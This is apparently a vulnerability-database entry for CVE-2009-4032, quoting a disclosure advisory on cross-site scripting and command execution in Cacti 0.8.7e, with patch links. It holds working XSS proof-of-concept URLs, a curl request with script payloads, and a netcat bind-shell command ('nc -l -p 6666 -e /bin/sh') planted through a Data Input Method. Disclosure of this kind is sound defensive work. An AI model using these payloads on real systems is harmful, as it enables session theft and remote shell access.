CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Multiple cross-site scripting (XSS) vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to (1) graph.php, (2) include/top_graph_header.php, (3) lib/html_form.php, and (4) lib/timespan_settings.php, as demonstrated by the (a) graph_end or (b) graph_start parameters to graph.php; (c) the date1 parameter in a tree action to graph_view.php; and the (d) page_refresh and (e) default_dual_pane_width parameters to graph_settings.php.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

=================================================================
Cacti 0.8.7e and earlier versions are affected by multiple security
issues. Issues 1-4 are cross site scripting issues, issue 5 is a
priviledge escalation issue.
1. XSS 1
A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '1' to be displayed:
http://CACTIHOST/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27
This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').
This vulnerability was tested with Firefox 3.0.6.
The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch
2. XSS 2
The following curl invocation will generate a HTTP POST request
against
http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true
with an 'application/x-www-form-urlencoded' content type HTTP body part
containing
date1=%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cx+y%3D%27'
Curl will write the resulting output to a file named poc.html.
> curl -d 'date1=%27%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E%3Cx+y%3D%27' 'http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true' > poc.html
When this file is loaded and rendered by a web browser with Javascript
support, this will cause a dialog box saying '2' to be displayed.
This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').
The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch
3. XSS 3
If an attacker or the victim has permission to modify the graph
display settings via graph_settings.php, the attacker is able to
persistently inject javascript code via the 'page_refresh' and
'default_dual_pane_width' parameters.
Setting 'page_refresh' to the following value will, on any consecutive
visitors' web browser with Javascript support, cause a dialog box saying
'3' to be displayed:
300'><x y='
Setting 'default_dual_pane_width' to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '3' to be displayed:
200"><x y="
The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch
4. XSS 4
A HTTP GET request against the following URL will, on a web browser
with Javascript support, cause a dialog box saying '4' to be displayed:
> >
http://CACTIHOST/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E
This vulnerability is only exploitable if the victim is allowed to view
graphs. This will be true if the victim has previously authenticated
against Cacti or if both the guest user has been activated (default:
disabled) and the graph view permission was set to 'guest' (default:
'No User').
Alternatively, a similar injection can be achieved, if an attacker or
his victim has permission to modify the graph display settings via
graph_settings.php. If so, the attacker is able to persistently inject
javascript code via the 'title_size', 'legend_size', 'axis_size' and
'unit_size' parameters.
Setting any of these parameters to the following value will, on any
consecutive visitors' web browser with Javascript support, cause a
dialog box saying '4' to be displayed:
8</pre><pre>
This vulnerability was tested with Firefox 3.0.6
The Cacti group provides a patch to fix this vulnerability:
http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch
5. Priviledge escalation
Finally, due to the permissive way the web interface allows Cacti
to be configured, a cacti administrator is also able to execute
arbitrary commands on the system as the user the Cacti polling mechanism
runs as (usually a non-priviledged user).
For example, it is possible to successfully spawn (and connect to) a
backdoor/remote shell on the Cacti system by changing the "Data Input
Method" for "Linux - Get Memory Usage". Setting "Input String" to
nohup nc -l -p 6666 -n -e /bin/sh &
would spawn a remotely accessible shell whenever this handler was called
(every couple of minutes by default on my Debian test system).
Cacti developers say:
> There is no effective way to fix the data input method without breaking Cacti. It will be reviewed for the release of 0.8.8.
The XSS issues are currently tracked as CVE-2009-4032 (additional CVEs
may or may not be assigned), issue 5 has not been tracked so far (to my
knowledge).

Cacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Versions prior to Cacti 0.8.7g are vulnerable.
